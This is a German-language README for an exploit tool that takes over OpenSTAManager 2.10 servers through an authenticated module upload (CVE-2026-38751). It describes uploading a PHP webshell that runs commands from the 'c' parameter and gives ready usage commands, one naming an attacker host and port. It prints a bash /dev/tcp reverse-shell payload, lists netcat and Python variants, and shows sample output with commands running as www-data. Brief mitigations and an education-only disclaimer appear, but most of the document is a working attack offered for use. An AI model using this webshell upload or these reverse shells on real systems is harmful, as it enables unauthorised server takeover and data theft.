OpenSTAManager RCE Exploit (CVE-2026-38751)

Übersicht

Dieses Python-Skript nutzt eine Remote Code Execution-Schwachstelle in OpenSTAManager Version 2.10 aus, die als CVE-2026-38751 identifiziert wurde. Der Exploit ermöglicht authentifizierten Benutzern das Hochladen eines bösartigen Moduls und die Ausführung beliebiger Befehle auf dem Zielsystem.

Details zur Schwachstelle

• CVE ID: CVE-2026-38751
• Produkt: OpenSTAManager
• Version: 2.10
• Typ: Remote Code Execution (RCE)
• Angriffsvektor: Webbasiert, erfordert gültige Authentifizierung

Funktionsweise des Exploits

Der Exploit durchläuft folgende Schritte:

1. Authentifizierung: Meldet sich mit den angegebenen Anmeldedaten in der OpenSTAManager-Anwendung an
2. Updates aktivieren: Aktiviert die Modulupdate-Funktionalität, die für den Exploit erforderlich ist
3. Erstellen einer bösartigen ZIP: Erzeugt eine ZIP-Datei mit:
   • Eine Moduldefinitionsdatei (MODULE)
   • Ein PHP-Shell-Skript (shell.php), das Befehle über den GET-Parameter c ausführt
4. Modul hochladen: Lädt die bösartige ZIP über die Modulupdate-Schnittstelle hoch
5. Exploit überprüfen: Bestätigt, dass die Shell zugänglich und funktionsfähig ist
6. Befehle ausführen: Entweder:
   • Interaktiver Shell-Modus zur manuellen Befehlsausführung
   • Reverse-Shell-Verbindung zum Aufbau einer persistenten Verbindung

Voraussetzungen

• Python 3.x
• Erforderliche Python-Pakete: requests, zipfile
• Gültige Admin-Anmeldedaten für OpenSTAManager
• Netzwerkzugriff auf das Zielsystem

Verwendung

Grundlegende Verwendung

python3 exploit.py -u http://target.com -U admin -P password

Interaktiver Shell-Modus

python3 exploit.py -u http://target.com -U admin -P password --interactive

Reverse-Shell-Modus

python3 exploit.py -u http://target.com -U admin -P password --lhost 10.10.14.180 --lport 4444

Argumente

Technische Details

Ausnutzungsprozess

1. Authentifizierung: Das Skript sendet eine Anmeldeanforderung an den Authentifizierungsendpunkt der Anwendung
2. Modulupdate-Aktivierung: Sendet eine POST-Anforderung, um die Modulupdate-Funktionalität zu aktivieren
3. ZIP-Erstellung: Erstellt ein ZIP-Archiv mit:
   • shell/MODULE: Modulkonfigurationsdatei
   • shell/shell.php: PHP-Webshell, die über den GET-Parameter c übergebene Befehle ausführt
4. Hochladeprozess: Verwendet Multipart-Formulardaten, um die bösartige ZIP an den Modulupdate-Endpunkt hochzuladen
5. Überprüfung: Testet die hochgeladene Shell durch Ausführen eines einfachen Befehls wie id, um zu bestätigen, dass sie funktioniert
6. Befehlsausführung: Bietet entweder eine interaktive Shell oder stellt eine Reverse-Shell-Verbindung her

Verwendete Payloads

Der Exploit versucht mehrere Reverse-Shell-Payloads:

• Bash-Reverse-Shell: bash -i >& /dev/tcp/{lhost}/{lport} 0>&1
• Python-Reverse-Shells mittels Socket-Verbindungen
• Base64-kodiertes Bash-Payload
• Netcat-Reverse-Shell

Sicherheitshinweise

⚠️ Haftungsausschluss: Dieser Exploit ist ausschließlich für Bildungs- und autorisierte Sicherheitstestzwecke bestimmt.

Risikobewertung

Diese Schwachstelle ermöglicht:

• Beliebige Codeausführung als Webserver-Benutzer
• Potenzielle Rechteerweiterung
• Zugriff auf sensible Daten auf dem System
• Mögliche laterale Bewegung innerhalb eines Netzwerks

Maßnahmen

Zum Schutz vor dieser Schwachstelle:

1. Aktualisieren Sie OpenSTAManager auf die neueste Version
2. Implementieren Sie geeignete Authentifizierungskontrollen
3. Schränken Sie Datei-Upload-Funktionen ein
4. Überwachen Sie auf verdächtige Aktivitäten
5. Wenden Sie Netzwerksegmentierung an

Beispielausgabe

[ OpenSTAManager RCE Exploit : ]

Target: http://target.com
[*] Step 1: Login...
[+] Login successful: admin
[*] Step 2: Enable updates...
[+] Updates enabled
[*] Step 3: Create ZIP...
[*] Created in-memory ZIP file
[*] Shell location: /modules/shell/shell.php
[*] Step 4: Upload...
[*] Upload status: 200
[+] Upload successful
[*] Step 5: Verify...
[+] Vulnerability confirmed!
[+] Shell: http://target.com/modules/shell/shell.php
[+] Test: http://target.com/modules/shell/shell.php?c=whoami

[*] Entering interactive mode...
cmd> whoami
www-data
cmd> exit

Referenzen

• GitHub Repository
• CVE Details

Lizenz

Dieser Exploit wird nur zu Bildungszwecken bereitgestellt. Die unbefugte Nutzung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Genehmigung zum Testen haben, ist illegal.